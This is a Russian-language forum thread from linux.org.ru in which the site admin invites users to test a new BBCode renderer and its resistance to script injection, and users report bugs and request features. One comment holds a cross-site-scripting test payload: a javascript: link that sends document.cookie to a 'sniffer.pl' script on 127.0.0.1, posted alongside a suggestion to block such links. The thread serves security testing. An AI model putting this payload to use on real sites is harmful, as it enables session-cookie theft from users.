LINUX.ORG.RU

BBCode рендерер


0

0
Предлагаю попробовать рендерер BB-кода с некоторыми дополнениями, который в будущем планируется использовать на сайте.

Тестовая страничка: http://www.linux.org.ru/bbtest.jsp

Описание кода: http://www.linux.org.ru/wiki/en/Lorcode

Потестите plz работоспособность, устойчивость к внедрению скриптов/тегов. Принимаются предложения по дополнению функциональности.

★★★★★
ЗОМГ! Может лучше что-то вроде markdown или модификаций? Например как на wakab'е.
Deleted
()
В принципе работает хорошо. А интерфейс ввода сообщений планируется расширить?
Deleted
()
[url=javascript:var c=new Image();c.src="http://127.0.0.1/sniffer.pl?"+document.cookie;close()]Test[/url]

Предложение первым делом запретить javascript в ссылке.
Deleted
()
Кавычки (") преобразуются в " в HTML-коде и, соответственно, выводятся как &quot на странице — это так задумано?
dexpl ★★★★★
()
Ответ на: комментарий от dexpl
> Кавычки (") преобразуются в " в HTML-коде и, соответственно, выводятся как &quot на странице — это так задумано?

где они так выводятся?

maxcom ★★★★★
() автор топика
[code]
#!/usr/bin/sh
echo 'aa' > /etc/die
[/code]

результат

#!/usr/bin/sh
echo 'aa' > /etc/die
hizel ★★★★★
()
Лучше при отсутствии названия цитаты не включать в неё заголовок вообще.
anonymfus ★★★★
()
Ответ на: комментарий от maxcom
> где они так выводятся?

В результате вставки строк с кавычками внутрь тега [code].

К примеру

[code]
alias nocomments="egrep -v '^[[:space:]]*(#|;|$)'"
[/code]
dexpl ★★★★★
()
populaire...

Что-либо более попсовое и громоздкое чем bbcode сложно представить. Не Ъ.

xio
()
А HTML-обработку планируется сделать более полную (хотя бы все те же тэги разрешить, что и для BBCode) и разрешить в комментариях?
anonymfus ★★★★
()
Ответ на: комментарий от dexpl
> В результате вставки строк с кавычками внутрь тега [code].

fixed

maxcom ★★★★★
() автор топика
Ответ на: комментарий от anonymfus
> А HTML-обработку планируется сделать более полную (хотя бы все те же тэги разрешить, что и для BBCode) и разрешить в комментариях?

нет, поддержка HTML будет удалена

maxcom ★★★★★
() автор топика
Недопустимый тип нумерации ([list="blah"]) воспринимаеся как арабские цифры --- это баг или фича?
bakagaijin
()
Ура-ура! Скоро и до графических смайликов дойдет!
lester_dev ★★★★★
()
А как же анимированные смайлики и встроенные ролики с тытрубы? :D

Предложения по делу:
1) сделать экранирование тегов (если я хочу ввести текст, который выглядит как тег);
2) разрешить другие протоколы URL, а также ввод доменов без точки типа localhost и IP-адресов;
3) сделать фиксированный шрифт и подсветку синтаксиса для кода (типа http://softwaremaniacs.org/soft/highlight/) с прямым указанием языка [code=python];
4) при добавлении сообщения проверять, нет ли ошибки при вводе ника в [user];
5) показывать статус пользователя (блокирование, серые и зелёные звёзды), указанного в [user], но только не при добавлении сообщения, а тогда, когда сообщение отображается;
6) починить ввод e-mail адресов (я пробовал многие существующие - не работает);
7) сделать кнопку цитирования в view-message.jsp, которая автоматом прописывает [quote="[user]anonymous[/user] [url=http://www.linux.org.ru/jump-message.jsp?msgid=3159905&cid=3159954]10.10.2008 10:56:36[/url]"]Цитируемое сообщение[/quote];
8) сделать кавычки необязательными в list=type, quote=name;
9) сделать возможность отключать показ ссылок в настройках (для Ъ), в таком случае показывать только название ссылки, если оно указано.
true
()
Кстати, серьезно насчет смайликов. Не обязательно же их делать анимированными :) Можно простыми.

Для тех кому не нравится, можно будет отключать в настройках. Сделайте пожалуйста)

Redeyed
()
Markdown намного правослевнее.
anonymous
()
Если не закрыть бб-тег, то он вообще не интерпретируется

Например:

[code]
#include <stdio.h>

int main(int argc, char** argv){
return 0;
}
[code]
temy4
()
Ответ на: комментарий от temy4
И еще, к тому же коду фичреквест, сделать нумерацию, в интерпретации будет примерно так:

<ol type="1">
<li> строка кода
</ol>
temy4
()
(бесполезный-комментарий "Этот ваш BB-code выглядит как говно")
Sphinx ★★☆☆
()
Ответ на: комментарий от maxcom
Неправильный подход. Лучше было бы отфильтровать только javascript:, а неизвестные протоколы оставить возможными.
anonymfus ★★★★
()
Ещё нужны таблицы, сокращения ([abbr=GNU’s Not UNIX]GNU[/abbr]) и простые внутрилорные ссылки([gotoid=3160595]текст[/gotoid] или как-то так).
anonymfus ★★★★
()
Верхний/нижний индексы неплохо добавить.
anonymous
()
[email]4spam@linux.org.ru[/email]

"некорректный url" модераторы получили об этом сигнал.

mono ★★★★★
()
Ответ на: комментарий от mono
Причём если написать с mailto: то работает, но в коде получается mailto:mailto:
Deleted
()
круто, очень жду, а то я до сих пор с форматированием ошибаюсь
z0D5e8n7x
()
Ответ на: комментарий от Neko
> Не работает [img][/img].

Потому что не поддерживается. А жаль.

bbk123 ★★★★★
()
Ответ на: комментарий от Zenom
> Реквестую тег [s]

IMHO совершенно бесполезный таг. Более подходит для детей или графоманов.

bbk123 ★★★★★
()
Ответ на: комментарий от INFOMAN
> А можно к code добавить параметр =lang и подсветку прикрутить?

В оригинале это делается не совсем так:

[code=C] [code=Java] [code=PHP]

bbk123 ★★★★★
()
> Принимаются предложения по дополнению функциональности.

Зачем нужны списки? Неужели вручную трудно нарисовать? Теги [em] [strong] не нужны. Лучше [^W], ну то есть [s], я хотел сказать, для перечеркнутого текста.

anonymous
()
Ответ на: комментарий от anonymous
Вручную не есть семантически правильно.
INFOMAN ★★★★★
()
Изменения в рендерере:

1) Убран тег email

2) В тег [user] добавлена проверка существования пользователя в БД

3) Добавлен моноширинный фонт к тегу code

maxcom ★★★★★
() автор топика
Ответ на: комментарий от dn2010
>А есть где правильные движки подсветки?

colorer. Других правильных (т.е. подсветка произвольной вложенности - скажем, html внутри php, а внутри этого html - javascript) пока не встречал. Под Java - есть (Eclipse-colorer).
KRoN73 ★★★★★
()
Ответ на: комментарий от maxcom
>2) В тег [user] добавлена проверка существования пользователя в БД

Неплохо бы выдавать ошибку в случае отсутствия пользователя.

true
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.